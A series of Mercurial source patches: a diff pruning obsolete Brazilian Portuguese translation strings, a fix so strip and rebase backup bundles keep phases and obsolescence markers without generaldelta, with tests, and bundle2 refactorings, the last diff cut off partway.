 #~ "Se ``pagermode`` não estiver definido, a configuração ``mode`` será usada.\n"
 
-#~ msgid "show available color, effects or style"
-#~ msgstr "mostra cores, efeitos ou estilos disponíveis"
-
 #~ msgid ""
 #~ "You can also enable the pager only for certain commands using\n"
 #~ "pager.attend. Below is the default list of commands to be paged::"
@@ -35705,295 +37534,6 @@
 #~ "    usando bzip2). Os formatos disponíveis são: v1, v2 (o padrão é\n"
 #~ "    o mais adequado)."
 
-#~ msgid "test Mercurial installation"
-#~ msgstr "testa a instalação do Mercurial"
-
-#~ msgid "test whether node ids are known to a repo"
-#~ msgstr "testa se os ids dos nós são conhecidos em um repositório"
-
-#~ msgid ""
-#~ "    Every ID must be a full-length hex node id string. Returns a list of 0s\n"
-#~ "    and 1s indicating unknown/known.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Todo ID deve ser uma string hexadecimal completa.\n"
-#~ "    Devolve uma lista de 0s e 1s indicando respectivamente\n"
-#~ "    desconhecidos e conhecidos.\n"
-#~ "    "
-
-#~ msgid "backwards compatibility with old bash completion scripts (DEPRECATED)"
-#~ msgstr ""
-#~ "compatibilidade retroativa com antigos scripts bash de completação "
-#~ "(OBSOLETO)"
-
-#~ msgid "print merge state"
-#~ msgstr "imprime o estado da mesclagem"
-
-#~ msgid ""
-#~ "    Use --verbose to print out information about whether v1 or v2 merge state\n"
-#~ "    was chosen."
-#~ msgstr ""
-#~ "    Use --verbose para imprimir informações a respeito de como foi\n"
-#~ "    feita a escolha entre os estados de mesclagem v1 e v2.    "
-
-#~ msgid "complete \"names\" - tags, open branch names, bookmark names"
-#~ msgstr ""
-#~ "completa \"nomes\" - etiquetas, nomes de ramos abertos, nomes de marcadores"
-
-#~ msgid "show or modify state of locks"
-#~ msgstr "mostra ou modifica o estado dos locks"
-
-#~ msgid ""
-#~ "    By default, this command will show which locks are held. This\n"
-#~ "    includes the user and process holding the lock, the amount of time\n"
-#~ "    the lock has been held, and the machine name where the process is\n"
-#~ "    running if it's not local."
-#~ msgstr ""
-#~ "    Por padrão, este comando mostra quais locks estão bloqueados.\n"
-#~ "    Isso inclui o usuário e processo donos do lock, há quanto tempo\n"
-#~ "    o lock está bloqueado, e o nome da máquina onde o processo\n"
-#~ "    está rodando, se não for a máquina local."
-
-#~ msgid ""
-#~ "    Locks protect the integrity of Mercurial's data, so should be\n"
-#~ "    treated with care. System crashes or other interruptions may cause\n"
-#~ "    locks to not be properly released, though Mercurial will usually\n"
-#~ "    detect and remove such stale locks automatically."
-#~ msgstr ""
-#~ "    Locks protegem a integridade dos dados do Mercurial, então\n"
-#~ "    devem ser usados com cuidado. Quedas de sistema ou outras\n"
-#~ "    interrupções podem fazer com que locks não sejam liberados\n"
-#~ "    adequadamente, apesar de o Mercurial tipicamente detectar e\n"
-#~ "    liberar esses locks inválidos automaticamente."
-
-#~ msgid ""
-#~ "    However, detecting stale locks may not always be possible (for\n"
-#~ "    instance, on a shared filesystem). Removing locks may also be\n"
-#~ "    blocked by filesystem permissions."
-#~ msgstr ""
-#~ "    No entanto, pode não ser possível detectar locks inválidos (por\n"
-#~ "    exemplo, em um sistema de arquivos compartilhado). A remoção de\n"
-#~ "    locks também pode ser bloqueada por permissões do sistema de\n"
-#~ "    arquivos."
-
-#~ msgid "    Returns 0 if no locks are held."
-#~ msgstr "    Devolve 0 se se nenhum lock estiver bloqueado."
-
-#~ msgid "create arbitrary obsolete marker"
-#~ msgstr "cria uma marcação de obsolescência arbitrária"
-
-#~ msgid "    With no arguments, displays the list of obsolescence markers."
-#~ msgstr "    Sem parâmetros, mostra a lista de marcações de obsolescência."
-
-#~ msgid "complete part or all of a tracked path"
-#~ msgstr "completa todo ou uma parte de um caminho rastreado"
-
-#~ msgid ""
-#~ "    This command supports shells that offer path name completion. It\n"
-#~ "    currently completes only files already known to the dirstate."
-#~ msgstr ""
-#~ "    Este comando suporta shells que ofereçam completação de\n"
-#~ "    nomes de caminhos. Atualmente, apenas arquivos já presentes\n"
-#~ "    no dirstate serão completados."
-
-#~ msgid ""
-#~ "    Completion extends only to the next path segment unless\n"
-#~ "    --full is specified, in which case entire paths are used."
-#~ msgstr ""
-#~ "    A completação por padrão é feita apenas para o próximo segmento\n"
-#~ "    do caminho. Se --full for especificado, são usados caminhos\n"
-#~ "    completos."
-
-#~ msgid "access the pushkey key/value protocol"
-#~ msgstr "acessa o protocolo pushkey de pares chave/valor"
-
-#~ msgid "    With two args, list the keys in the given namespace."
-#~ msgstr "    Com dois argumentos, lista as chaves no espaço de nomes dado."
-
-#~ msgid ""
-#~ "    With five args, set a key to new if it currently is set to old.\n"
-#~ "    Reports success or failure.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Com cinco argumentos, redefine uma chave para o novo valor se\n"
-#~ "    estiver no momento definida para o valor antigo.\n"
-#~ "    Informa sobre sucesso ou falha.\n"
-#~ "    "
-
-#~ msgid "rebuild the dirstate as it would look like for the given revision"
-#~ msgstr "reconstrói o dirstate como ele pareceria para a revisão dada"
-
-#~ msgid "    If no revision is specified the first current parent will be used."
-#~ msgstr ""
-#~ "    Se nenhuma revisão for especificada, será usado o primeiro pai do "
-#~ "diretório de trabalho."
-
-#~ msgid ""
-#~ "    The dirstate will be set to the files of the given revision.\n"
-#~ "    The actual working directory content or existing dirstate\n"
-#~ "    information such as adds or removes is not considered."
-#~ msgstr ""
-#~ "    O dirstate será definido para os arquivos da revisão pedida.\n"
-#~ "    O conteúdo real do diretório de trabalho e informações existentes\n"
-#~ "    no dirstate (como adições e remoções) não são considerados."
-
-#~ msgid ""
-#~ "    ``minimal`` will only rebuild the dirstate status for files that claim to be\n"
-#~ "    tracked but are not in the parent manifest, or that exist in the parent\n"
-#~ "    manifest but are not in the dirstate. It will not change adds, removes, or\n"
-#~ "    modified files that are in the working copy parent."
-#~ msgstr ""
-#~ "    ``minimal`` só reconstruirá o status do dirstate para arquivos\n"
-#~ "    rastreados que não estejam no manifesto do pai, ou que estejam\n"
-#~ "    no manifesto do pai mas não no dirstate. Arquivos adicionados,\n"
-#~ "    removidos ou modificados presentes no pai da cópia de trabalho\n"
-#~ "    não serão modificados."
-
-#~ msgid ""
-#~ "    One use of this command is to make the next :hg:`status` invocation\n"
-#~ "    check the actual file content.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Um uso para este comando é fazer com que a próxima execução\n"
-#~ "    de :hg:`status` verifique o conteúdo real dos arquivos.\n"
-#~ "    "
-
-#~ msgid "rebuild the fncache file"
-#~ msgstr "reconstrói o arquivo fncache"
-
-#~ msgid "dump rename information"
-#~ msgstr "exibe informações de renomeação"
-
-#~ msgid "show data and statistics about a revlog"
-#~ msgstr "mostra dados e estatísticas sobre um revlog"
-
-#~ msgid "parse and apply a revision specification"
-#~ msgstr "interpreta e aplica uma especificação de revisões"
-
-#~ msgid ""
-#~ "    Use -p/--show-stage option to print the parsed tree at the given stages.\n"
-#~ "    Use -p all to print tree at every stage."
-#~ msgstr ""
-#~ "    Use -p/--show-stage para imprimir a árvore de parsing nos estágios pedidos.\n"
-#~ "    Use -p all para imprimir a árvore em todos os estágios."
-
-#~ msgid ""
-#~ "    Use --verify-optimized to compare the optimized result with the unoptimized\n"
-#~ "    one. Returns 1 if the optimized result differs.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Use --verify-optimized para comparar o resultado otimizado com o\n"
-#~ "    resultado sem otimização. Retorna 1 se o resultado otimizado for\n"
-#~ "    diferente.\n"
-#~ "    "
-
-#~ msgid "manually set the parents of the current working directory"
-#~ msgstr "muda manualmente os pais do diretório de trabalho atual"
-
-#~ msgid ""
-#~ "    This is useful for writing repository conversion tools, but should\n"
-#~ "    be used with care. For example, neither the working directory nor the\n"
-#~ "    dirstate is updated, so file status may be incorrect after running this\n"
-#~ "    command."
-#~ msgstr ""
-#~ "    Isto é útil para escrever utilitários de conversão de repositórios,\n"
-#~ "    mas deve ser usado com cuidado. Por exemplo, nem o diretório de\n"
-#~ "    trabalho nem o dirstate são atualizados, de modo que o status dos\n"
-#~ "    arquivos pode ficar incorreto após a execução deste comando."
-
-#~ msgid "show the contents of the current dirstate"
-#~ msgstr "mostra o conteúdo do dirstate atual"
-
-#~ msgid "show set of successors for revision"
-#~ msgstr "mostra conjunto de sucessores da revisão"
-
-#~ msgid ""
-#~ "    A successors set of changeset A is a consistent group of revisions that\n"
-#~ "    succeed A. It contains non-obsolete changesets only."
-#~ msgstr ""
-#~ "    Um conjunto de sucessores de uma revisão A é um grupo consistente de\n"
-#~ "    revisões que sucedem A. Pode conter apenas revisões não obsoletas."
-
-#~ msgid ""
-#~ "    In most cases a changeset A has a single successors set containing a single\n"
-#~ "    successor (changeset A replaced by A')."
-#~ msgstr ""
-#~ "    Na maior parte dos casos uma revisão A possui um único conjunto\n"
-#~ "    de sucessores contendo um único sucessor (revisão A substituída por A')."
-
-#~ msgid ""
-#~ "    A changeset that is made obsolete with no successors are called \"pruned\".\n"
-#~ "    Such changesets have no successors sets at all."
-#~ msgstr ""
-#~ "    Uma revisão sem sucessores tornada obsoleta é chamada \"podada\".\n"
-#~ "    Tais revisões não possuem nenhum conjunto de sucessores."
-
-#~ msgid ""
-#~ "    A changeset that has been \"split\" will have a successors set containing\n"
-#~ "    more than one successor."
-#~ msgstr ""
-#~ "    Uma revisão que tenha sido \"dividida\" terá um conjunto de\n"
-#~ "    sucessores contendo mais de um sucessor."
-
-#~ msgid ""
-#~ "    A changeset that has been rewritten in multiple different ways is called\n"
-#~ "    \"divergent\". Such changesets have multiple successor sets (each of which\n"
-#~ "    may also be split, i.e. have multiple successors)."
-#~ msgstr ""
-#~ "    Uma revisão que tenha sido reescrita de múltiplas formas diferentes\n"
-#~ "    é chamada \"divergente\". Tais revisões possuem múltiplos conjuntos\n"
-#~ "    de sucessores (cada um dos quais pode também ser dividido, isto é,\n"
-#~ "    ter múltiplos sucessores)."
-
-#~ msgid "    Results are displayed as follows::"
-#~ msgstr "    Os resultados são mostrados da seguinte maneira::"
-
-#~ msgid ""
-#~ "        <rev1>\n"
-#~ "            <successors-1A>\n"
-#~ "        <rev2>\n"
-#~ "            <successors-2A>\n"
-#~ "            <successors-2B1> <successors-2B2> <successors-2B3>"
-#~ msgstr ""
-#~ "        <rev1>\n"
-#~ "            <sucessores-1A>\n"
-#~ "        <rev2>\n"
-#~ "            <sucessores-2A>\n"
-#~ "            <sucessores-2B1> <sucessores-2B2> <sucessores-2B3>"
-
-#~ msgid ""
-#~ "    Here rev2 has two possible (i.e. divergent) successors sets. The first\n"
-#~ "    holds one element, whereas the second holds three (i.e. the changeset has\n"
-#~ "    been split).\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Aqui, rev2 possui dois (ou seja, divergentes) possíveis conjuntos\n"
-#~ "    de sucessores. O primeiro possui um elemento, e o segundo possui\n"
-#~ "    três (a revisão foi dividida).\n"
-#~ "    "
-
-#~ msgid "parse and apply a template"
-#~ msgstr "decodifica e aplica um modelo"
-
-#~ msgid ""
-#~ "    If -r/--rev is given, the template is processed as a log template and\n"
-#~ "    applied to the given changesets. Otherwise, it is processed as a generic\n"
-#~ "    template."
-#~ msgstr ""
-#~ "    Se -r/--rev for fornecida, o modelo será processado como um modelo\n"
-#~ "    de log e aplicado às revisões pedidas.\n"
-#~ "    Caso contrário, será processado como um modelo genérico."
-
-#~ msgid ""
-#~ "    Use --verbose to print the parsed tree.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Use --verbose para imprimir a árvore decodificada.\n"
-#~ "    "
-
-#~ msgid "show how files match on given patterns"
-#~ msgstr "mostra como os arquivos casam com os padrões pedidos"
-
 #~ msgid ""
 #~ "      The following rules apply when the working directory contains\n"
 #~ "      uncommitted changes:"
@@ -36115,228 +37655,6 @@
 #~ "                     # sem atividade fechará\n"
 #~ "  skiphash = False   # omite checagens de mudanças ou ambiente\n"
 
-#~ msgid "find the ancestor revision of two revisions in a given index"
-#~ msgstr "encontra a revisão ancestral de duas revisões no índice dado"
-
-#~ msgid "builds a repo with a given DAG from scratch in the current empty repo"
-#~ msgstr ""
-#~ "constrói um repositório do zero com um DAG dado em um repositório vazio "
-#~ "existente"
-
-#~ msgid ""
-#~ "    The description of the DAG is read from stdin if not given on the\n"
-#~ "    command line."
-#~ msgstr ""
-#~ "    Se não for passada na linha de comando, a descrição do DAG é lida\n"
-#~ "    da entrada padrão."
-
-#~ msgid "    Elements:"
-#~ msgstr "    Elementos:"
-
-#~ msgid ""
-#~ "     - \"+n\" is a linear run of n nodes based on the current default parent\n"
-#~ "     - \".\" is a single node based on the current default parent\n"
-#~ "     - \"$\" resets the default parent to null (implied at the start);\n"
-#~ "           otherwise the default parent is always the last node created\n"
-#~ "     - \"<p\" sets the default parent to the backref p\n"
-#~ "     - \"*p\" is a fork at parent p, which is a backref\n"
-#~ "     - \"*p1/p2\" is a merge of parents p1 and p2, which are backrefs\n"
-#~ "     - \"/p2\" is a merge of the preceding node and p2\n"
-#~ "     - \":tag\" defines a local tag for the preceding node\n"
-#~ "     - \"@branch\" sets the named branch for subsequent nodes\n"
-#~ "     - \"#...\\n\" is a comment up to the end of the line"
-#~ msgstr ""
-#~ "     - \"+n\" é uma sequência linear de n nós baseada no pai default atual\n"
-#~ "     - \".\" é um único nó baseado no pai default atual\n"
-#~ "     - \"$\" redefine o pai default para null (valor usado no início);\n"
-#~ "           de outra maneira o pai default é sempre o último nó criado\n"
-#~ "     - \"<p\" define o pai default para a backref p\n"
-#~ "     - \"*p\" é uma bifurcação no pai p, que é uma backref\n"
-#~ "     - \"*p1/p2\" é uma mesclagem dos pais p1 e p2, que são backrefs\n"
-#~ "     - \"/p2\" é uma mesclagem do nó anterior e p2\n"
-#~ "     - \":tag\" define uma etiqueta local para o nó anterior\n"
-#~ "     - \"@branch\" define o nome de ramo para nós subsequentes\n"
-#~ "     - \"#...\\n\" é um comentário até o fim da linha"
-
-#~ msgid "    Whitespace between the above elements is ignored."
-#~ msgstr "    Espaços em branco entre os elementos acima são ignorados."
-
-#~ msgid "    A backref is either"
-#~ msgstr "    Uma backref pode ser"
-
-#~ msgid ""
-#~ "     - a number n, which references the node curr-n, where curr is the current\n"
-#~ "       node, or\n"
-#~ "     - the name of a local tag you placed earlier using \":tag\", or\n"
-#~ "     - empty to denote the default parent."
-#~ msgstr ""
-#~ "     - um número n, que referencia o nó atual-n, ou\n"
-#~ "     - o nome de uma tag local criada anteriormente com \":tag\", ou\n"
-#~ "     - vazio, denotando o pai default."
-
-#~ msgid ""
-#~ "    All string valued-elements are either strictly alphanumeric, or must\n"
-#~ "    be enclosed in double quotes (\"...\"), with \"\\\" as escape character.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Todos os elementos com valores string devem ser ou estritamente\n"
-#~ "    alfanuméricos, ou devem estar entre aspas duplas (\"...\"), usando\n"
-#~ "    \"\\\" como caractere de escape.\n"
-#~ "    "
-
-#~ msgid "lists the contents of a bundle"
-#~ msgstr "lista o conteúdo de um bundle"
-
-#~ msgid "create a stream clone bundle file"
-#~ msgstr "cria um arquivo de bundle para clone por stream"
-
-#~ msgid ""
-#~ "    Stream bundles are special bundles that are essentially archives of\n"
-#~ "    revlog files. They are commonly used for cloning very quickly.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Stream bundles são bundles especiais, formados essencialmente\n"
-#~ "    pelos arquivos revlog empacotados. Eles são comumente usados\n"
-#~ "    para acelerar a clonagem.    "
-
-#~ msgid "apply a stream clone bundle file"
-#~ msgstr "aplica um arquivo bundle de clone por stream"
-
-#~ msgid "validate the correctness of the current dirstate"
-#~ msgstr "valida a exatidão do dirstate atual"
-
-#~ msgid "list all available commands and options"
-#~ msgstr "exibe todas as opções e comandos disponíveis"
-
-#~ msgid "returns the completion list associated with the given command"
-#~ msgstr "devolve a lista de complementos associada ao comando dado"
-
-#~ msgid "format the changelog or an index DAG as a concise textual description"
-#~ msgstr ""
-#~ "formata o changelog ou um índice DAG como uma representação textual concisa"
-
-#~ msgid ""
-#~ "    If you pass a revlog index, the revlog's DAG is emitted. If you list\n"
-#~ "    revision numbers, they get labeled in the output as rN."
-#~ msgstr ""
-#~ "    Se você passar um índice de revlog, o DAG do revlog será emitido.\n"
-#~ "    Se você listar números de revisão, eles serão rotulados na saída\n"
-#~ "    como rN."
-
-#~ msgid ""
-#~ "    Otherwise, the changelog DAG of the current repo is emitted.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Caso contrário, imprime o DAG do changelog do repositório atual.\n"
-#~ "    "
-
-#~ msgid "dump the contents of a data file revision"
-#~ msgstr "exibe o conteúdo de uma revisão de dados de arquivo"
-
-#~ msgid "parse and display a date"
-#~ msgstr "decodifica e exibe uma data"
-
-#~ msgid "runs the changeset discovery protocol in isolation"
-#~ msgstr "executa o protocolo discovery isoladamente"
-
-#~ msgid "show information about active extensions"
-#~ msgstr "mostra informações sobre extensões ativas"
-
-#~ msgid "parse and apply a fileset specification"
-#~ msgstr "interpreta e aplica uma especificação de fileset"
-
-#~ msgid "show information detected about current filesystem"
-#~ msgstr "mostra informações detectadas sobre o sistema de arquivos atual"
-
-#~ msgid "retrieves a bundle from a repo"
-#~ msgstr "obtém um bundle de um repositório"
-
-#~ msgid ""
-#~ "    Every ID must be a full-length hex node id string. Saves the bundle to the\n"
-#~ "    given file.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Todo ID deve ser uma string hexadecimal completa.\n"
-#~ "    Grava o bundle no arquivo pedido.\n"
-#~ "    "
-
-#~ msgid ""
-#~ "display the combined ignore pattern and information about ignored files"
-#~ msgstr ""
-#~ "exibe o padrão combinado de arquivos ignorados e informações sobre arquivos "
-#~ "ignorados"
-
-#~ msgid "    With no argument display the combined ignore pattern."
-#~ msgstr "    Sem parâmetros, exibe o padrão combinado de arquivos ignorados."
-
-#~ msgid ""
-#~ "    Given space separated file names, shows if the given file is ignored and\n"
-#~ "    if so, show the ignore rule (file and line number) that matched it.\n"
-#~ "    "
-#~ msgstr ""
-#~ "    Dados nomes de arquivo separados por espaços, mostra se o\n"
-#~ "    arquivo pedido é ignorado, e se for, mostra a regra de\n"
-#~ "    .hgignore correspondente (arquivo e número da linha).\n"
-#~ "    "
-
-#~ msgid "dump the contents of an index file"
-#~ msgstr "extrai o conteúdo de um arquivo de índice"
-
-#~ msgid "dump an index DAG as a graphviz dot file"
-#~ msgstr "extrai os dados de um índice DAG como um arquivo .dot do graphviz"
-
-#~ msgid "dump information about delta chains in a revlog"
-#~ msgstr "extrai informações sobre cadeias de delta em um revlog"
-
-#~ msgid "    Output can be templatized. Available template keywords are:"
-#~ msgstr ""
-#~ "    A saída pode ser customizada com modelos. As palavras chave disponíveis "
-#~ "são:"
-
-#~ msgid ""
-#~ "    :``rev``:       revision number\n"
-#~ "    :``chainid``:   delta chain identifier (numbered by unique base)\n"
-#~ "    :``chainlen``:  delta chain length to this revision\n"
-#~ "    :``prevrev``:   previous revision in delta chain\n"
-#~ "    :``deltatype``: role of delta / how it was computed\n"
-#~ "    :``compsize``:  compressed size of revision\n"
-#~ "    :``uncompsize``: uncompressed size of revision\n"
-#~ "    :``chainsize``: total size of compressed revisions in chain\n"
-#~ "    :``chainratio``: total chain size divided by uncompressed revision size\n"
-#~ "                    (new delta chains typically start at ratio 2.00)\n"
-#~ "    :``lindist``:   linear distance from base revision in delta chain to end\n"
-#~ "                    of this revision\n"
-#~ "    :``extradist``: total size of revisions not part of this delta chain from\n"
-#~ "                    base of delta chain to end of this revision; a measurement\n"
-#~ "                    of how much extra data we need to read/seek across to read\n"
-#~ "                    the delta chain for this revision\n"
-#~ "    :``extraratio``: extradist divided by chainsize; another representation of\n"
-#~ "                    how much unrelated data is needed to load this delta chain\n"
-#~ "    "
-#~ msgstr ""
-#~ "    :``rev``:       número da revisão\n"
-#~ "    :``chainid``:   identificador de cadeia de deltas (numerado por base única)\n"
-#~ "    :``chainlen``:  comprimento da cadeia de deltas para esta revisão\n"
-#~ "    :``prevrev``:   revisão anterior na cadeia de deltas\n"
-#~ "    :``deltatype``: tipo de delta / como foi computado\n"
-#~ "    :``compsize``:  tamanho comprimido da revisão\n"
-#~ "    :``uncompsize``: tamanho não comprimido da revisão\n"
-#~ "    :``chainsize``: tamanho total das revisões comprimidas na cadeia\n"
-#~ "    :``chainratio``: tamanho total da cadeia dividido pelo tamanho não\n"
-#~ "                    comprimido da revisão\n"
-#~ "                    (novas cadeias de deltas tipicamente começam em 2.00)\n"
-#~ "    :``lindist``:   distância linear da revisão base na cadeia de deltas\n"
-#~ "                    até o final desta revisão\n"
-#~ "    :``extradist``: tamanho total de revisões que não fazem parte desta\n"
-#~ "                    cadeia de deltas da base da cadeia de deltas até o\n"
-#~ "                    fim desta revisão; uma medida de quantos dados\n"
-#~ "                    extras em leitura ou posicionamento são necessários\n"
-#~ "                    para ler a cadeia de deltas para esta revisão\n"
-#~ "    :``extraratio``: extradist dividido por chainsize; outra representação\n"
-#~ "                    de quantos dados não relacionados são necessários para\n"
-#~ "                    carregar esta cadeia de deltas\n"
-#~ "    "
-
 #~ msgid "Specifying Single Revisions"
 #~ msgstr "Especificação de Revisões Únicas"
 
@@ -36484,9 +37802,6 @@
 #~ msgid "see the \"path\" section in \"hg help config\""
 #~ msgstr "veja a seção \"path\" em \"hg help config\""
 
-#~ msgid "representation of revlog data"
-#~ msgstr "representação de dados de revlog"
-
 #~ msgid "revision storage mechanism"
 #~ msgstr "mecanismo de armazenamento de revisões"
 
@@ -37217,9 +38532,6 @@
 #~ msgid "use \"histedit --abort\" to clear broken state"
 #~ msgstr "use \"histedit --abort\" para limpar o estado quebrado"
 
-#~ msgid "uncommitted changes in subrepository %s"
-#~ msgstr "mudanças não consolidadas no sub-repositório %s"
-
 #~ msgid "uncommitted changes in subrepo %s"
 #~ msgstr "mudanças não consolidadas no sub-repositório %s"
 
diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -915,6 +915,11 @@
         versions.discard('02')
     return versions
 
+def localversion(repo):
+    # Finds the best version to use for bundles that are meant to be used
+    # locally, such as those from strip and shelve, and temporary bundles.
+    return max(supportedoutgoingversions(repo))
+
 def safeversion(repo):
     # Finds the smallest version that it's safe to assume clients of the repo
     # will support. For example, all hg versions that support generaldelta also
diff --git a/mercurial/repair.py b/mercurial/repair.py
--- a/mercurial/repair.py
+++ b/mercurial/repair.py
@@ -42,7 +42,7 @@
     name = "%s/%s-%s-%s.hg" % (backupdir, short(node),
                                hex(totalhash[:4]), suffix)
 
-    cgversion = changegroup.safeversion(repo)
+    cgversion = changegroup.localversion(repo)
     comp = None
     if cgversion != '01':
         bundletype = "HG20"
diff --git a/tests/test-rebase-scenario-global.t b/tests/test-rebase-scenario-global.t
--- a/tests/test-rebase-scenario-global.t
+++ b/tests/test-rebase-scenario-global.t
@@ -375,6 +375,39 @@
 
   $ cd ..
 
+Check that temporary bundle doesn't lose phase when not using generaldelta
+
+  $ hg --config format.usegeneraldelta=no init issue5678
+  $ cd issue5678
+  $ grep generaldelta .hg/requires
+  [1]
+  $ echo a > a
+  $ hg ci -Aqm a
+  $ echo b > b
+  $ hg ci -Aqm b
+  $ hg co -q '.^'
+  $ echo c > c
+  $ hg ci -Aqm c
+  $ hg phase --public
+  $ hg log -G -T '{rev}:{node|shortest} {phase} {desc}\n'
+  @  2:d36c public c
+  |
+  | o  1:d2ae draft b
+  |/
+  o  0:cb9a public a
+  
+  $ hg rebase -s 1 -d 2
+  rebasing 1:d2ae7f538514 "b"
+  saved backup bundle to $TESTTMP/issue5678/.hg/strip-backup/d2ae7f538514-2953539b-rebase.hg (glob)
+  $ hg log -G -T '{rev}:{node|shortest} {phase} {desc}\n'
+  o  2:c882 draft b
+  |
+  @  1:d36c public c
+  |
+  o  0:cb9a public a
+  
+  $ cd ..
+
 Test for revset
 
 We need a bit different graph
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -1098,3 +1098,25 @@
   112478962961147124edd43549aedd1a335e44bf 0 {426bada5c67598ca65036d57d9e4b64b0c1ce7a0} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
   08ebfeb61bac6e3f12079de774d285a0d6689eba 0 {426bada5c67598ca65036d57d9e4b64b0c1ce7a0} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
   26805aba1e600a82e93661149f2313866a221a7b 0 {112478962961147124edd43549aedd1a335e44bf} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'}
+  $ cd ..
+
+Test that obsmarkers are restored even when not using generaldelta
+
+  $ hg --config format.usegeneraldelta=no init issue5678
+  $ cd issue5678
+  $ cat >> .hg/hgrc <<EOF
+  > [experimental]
+  > evolution=all
+  > EOF
+  $ echo a > a
+  $ hg ci -Aqm a
+  $ hg ci --amend -m a2
+  $ hg debugobsolete
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  $ hg strip .
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  saved backup bundle to $TESTTMP/issue5678/.hg/strip-backup/489bac576828-bef27e14-backup.hg (glob)
+  $ hg unbundle -q .hg/strip-backup/*
+  $ hg debugobsolete
+  cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
+  $ cd ..
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505409605 25200
#      Thu Sep 14 10:20:05 2017 -0700
# Node ID e71890f2776764cc3c2e30420942a1b3a2df479f
# Parent  2844c4bd5a398aaa78114d02f6a6a876898cb910
bundle2: move processpart stream maintenance into part iterator

The processpart function also did some stream maintenance, so let's move it to
the part iterator as well, as part of moving all part iteration logic into the
class.

There is one place processpart is called outside of the normal loop, so we
manually handle the seek there.

The now-empty try/finally will be removed in a later patch, for ease of review.

Differential Revision: https://phab.mercurial-scm.org/D706

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -354,13 +354,17 @@
         self.unbundler = unbundler
         self.iterator = None
         self.count = 0
+        self.current = None
 
     def __enter__(self):
         def func():
             itr = enumerate(self.unbundler.iterparts())
             for count, p in itr:
                 self.count = count
+                self.current = p
                 yield p
+                p.seek(0, 2)
+                self.current = None
         self.iterator = func()
         return self.iterator
 
@@ -369,6 +373,13 @@
             return
 
         if exc:
+            # If exiting or interrupted, do not attempt to seek the stream in
+            # the finally block below. This makes abort faster.
+            if (self.current and
+                not isinstance(exc, (SystemExit, KeyboardInterrupt))):
+                # consume the part content to not corrupt the stream.
+                self.current.seek(0, 2)
+
             # Any exceptions seeking to the end of the bundle at this point are
             # almost certainly related to the underlying stream being bad.
             # And, chances are that the exception we're handling is related to
@@ -455,7 +466,6 @@
     The part is guaranteed to have been fully consumed when the function exits
     (even if an exception is raised)."""
     status = 'unknown' # used by debug output
-    hardabort = False
     try:
         try:
             handler = parthandlermapping.get(part.type)
@@ -511,15 +521,8 @@
                                            mandatory=False)
                 outpart.addparam(
                     'in-reply-to', pycompat.bytestr(part.id), mandatory=False)
-    # If exiting or interrupted, do not attempt to seek the stream in the
-    # finally block below. This makes abort faster.
-    except (SystemExit, KeyboardInterrupt):
-        hardabort = True
-        raise
     finally:
-        # consume the part content to not corrupt the stream.
-        if not hardabort:
-            part.seek(0, 2)
+        pass
 
 
 def decodecaps(blob):
@@ -1147,7 +1150,15 @@
             return
         part = unbundlepart(self.ui, headerblock, self._fp)
         op = interruptoperation(self.ui)
-        _processpart(op, part)
+        hardabort = False
+        try:
+            _processpart(op, part)
+        except (SystemExit, KeyboardInterrupt):
+            hardabort = True
+            raise
+        finally:
+            if not hardabort:
+                part.seek(0, 2)
         self.ui.debug('bundle2-input-stream-interrupt:'
                       ' closing out of band context\n')
 
# HG changeset patch
# User Durham Goode <durham@fb.com>
# Date 1505409605 25200
#      Thu Sep 14 10:20:05 2017 -0700
# Node ID 07e4170f02f3dd4fbb88571032b5ede2622444b6
# Parent  e71890f2776764cc3c2e30420942a1b3a2df479f
bundle2: move handler validation out of processpart

As part of refactoring bundle part processing let's move handler validation to
its own function.

Differential Revision: https://phab.mercurial-scm.org/D707

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -460,48 +460,55 @@
     })
     return ret
 
+def _gethandler(op, part):
+    status = 'unknown' # used by debug output
+    try:
+        handler = parthandlermapping.get(part.type)
+        if handler is None:
+            status = 'unsupported-type'
+            raise error.BundleUnknownFeatureError(parttype=part.type)
+        indebug(op.ui, 'found a handler for part %r' % part.type)
+        unknownparams = part.mandatorykeys - handler.params
+        if unknownparams:
+            unknownparams = list(unknownparams)
+            unknownparams.sort()
+            status = 'unsupported-params (%s)' % unknownparams
+            raise error.BundleUnknownFeatureError(parttype=part.type,
+                                                  params=unknownparams)
+        status = 'supported'
+    except error.BundleUnknownFeatureError as exc:
+        if part.mandatory: # mandatory parts
+            raise
+        indebug(op.ui, 'ignoring unsupported advisory part %s' % exc)
+        return # skip to part processing
+    finally:
+        if op.ui.debugflag:
+            msg = ['bundle2-input-part: "%s"' % part.type]
+            if not part.mandatory:
+                msg.append(' (advisory)')
+            nbmp = len(part.mandatorykeys)
+            nbap = len(part.params) - nbmp
+            if nbmp or nbap:
+                msg.append(' (params:')
+                if nbmp:
+                    msg.append(' %i mandatory' % nbmp)
+                if nbap:
